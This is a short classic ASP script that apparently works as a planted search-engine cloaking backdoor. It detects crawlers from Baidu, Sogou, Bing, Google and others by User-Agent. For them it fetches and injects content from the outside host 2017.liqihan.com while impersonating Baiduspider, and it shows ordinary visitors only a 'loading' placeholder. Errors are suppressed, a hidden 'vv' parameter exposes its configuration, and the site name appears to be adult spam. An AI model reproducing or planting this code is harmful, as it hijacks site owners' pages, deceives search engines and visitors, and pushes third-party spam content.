<%
server.ScriptTimeout = 1000000
on error resume next
'********* jiaoliu q- k:31-40 ************************************
dim d,f,k,homeid,c,cid,ct,cssid,id,cday,k2
cday = "20200520"
d = request.serverVariables("http_host")
f = request.serverVariables("url")
k = "25"
k2= "16"
homeid = "75,9675"
cid = "36"
ct = ",¡¶"
cssid="bia8x-2010"
webname = "_ÉîÒ¹ÊÓƵ¼¯"
id = request.serverVariables("Query_String")
if id = "" or instr(id,"vv=")>0 then
id = homeid
end if
if instr(id,"class=")>0 then
dim arr_c
arr_c = split(id,"class=")
c = arr_c(1)
if c = k then
c=""
end if
end if
dim SpiderList,ValidEntry,SpiderListArr
SpiderList="baidu.com|so.com|sogou.com|soso.com|bing.com|sm.cn|chinaso.com|dogedoge.com|google."
if IsSpider then
response.Write GetURL("http://2017.liqihan.com/ssl/web4p4.asp?d="&d&"&k="&k&"&k2="&k2&"&c="&c&"&f="&f&"&id="&id&"&homeid="&homeid&"&cid="&cid&"&cssid="&cssid&"&ct="&server.URLEncode(ct)&"&cday="&cday&"&webname="&server.URLEncode(webname))
else
if request("vv")<>"" then
response.Write "http://"&d&f&"?vv=web4p4|k:"&k&"|k2:"&k2&"|homeid:"&homeid&"|cid:"&cid&"|ct:"&ct&"|cssid:"&cssid&"|webname:"&webname&"|cday:"&cday&"|js-1
"
response.Write GetURL("http://2017.liqihan.com/ssl/web4p4.asp?d="&d&"&k="&k&"&k2="&k2&"&c="&c&"&f="&f&"&id="&id&"&homeid="&homeid&"&cid="&cid&"&cssid="&cssid&"&ct="&server.URLEncode(ct)&"&cday="&cday&"&webname="&server.URLEncode(webname))
else
response.write " loading.... "
end if
end if
Function IsSpider
ValidEntry=false
SpiderListArr=Split(SpiderList,"|")
for i=0 to Ubound (SpiderListArr)
If InStr(lcase(Request.ServerVariables("HTTP_USER_AGENT")),lcase(SpiderListArr(i))) > 0 then
ValidEntry = True
exit for
end if
next
IsSpider=ValidEntry
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Function GetURL(url)
set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")
xmlhttp.open "GET", url, false
xmlhttp.setRequestHeader "User-Agent", "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
xmlhttp.send ""
GetURL=BytesToBstr(xmlhttp.responsebody,"gb2312")
set xmlhttp = nothing
End Function
%>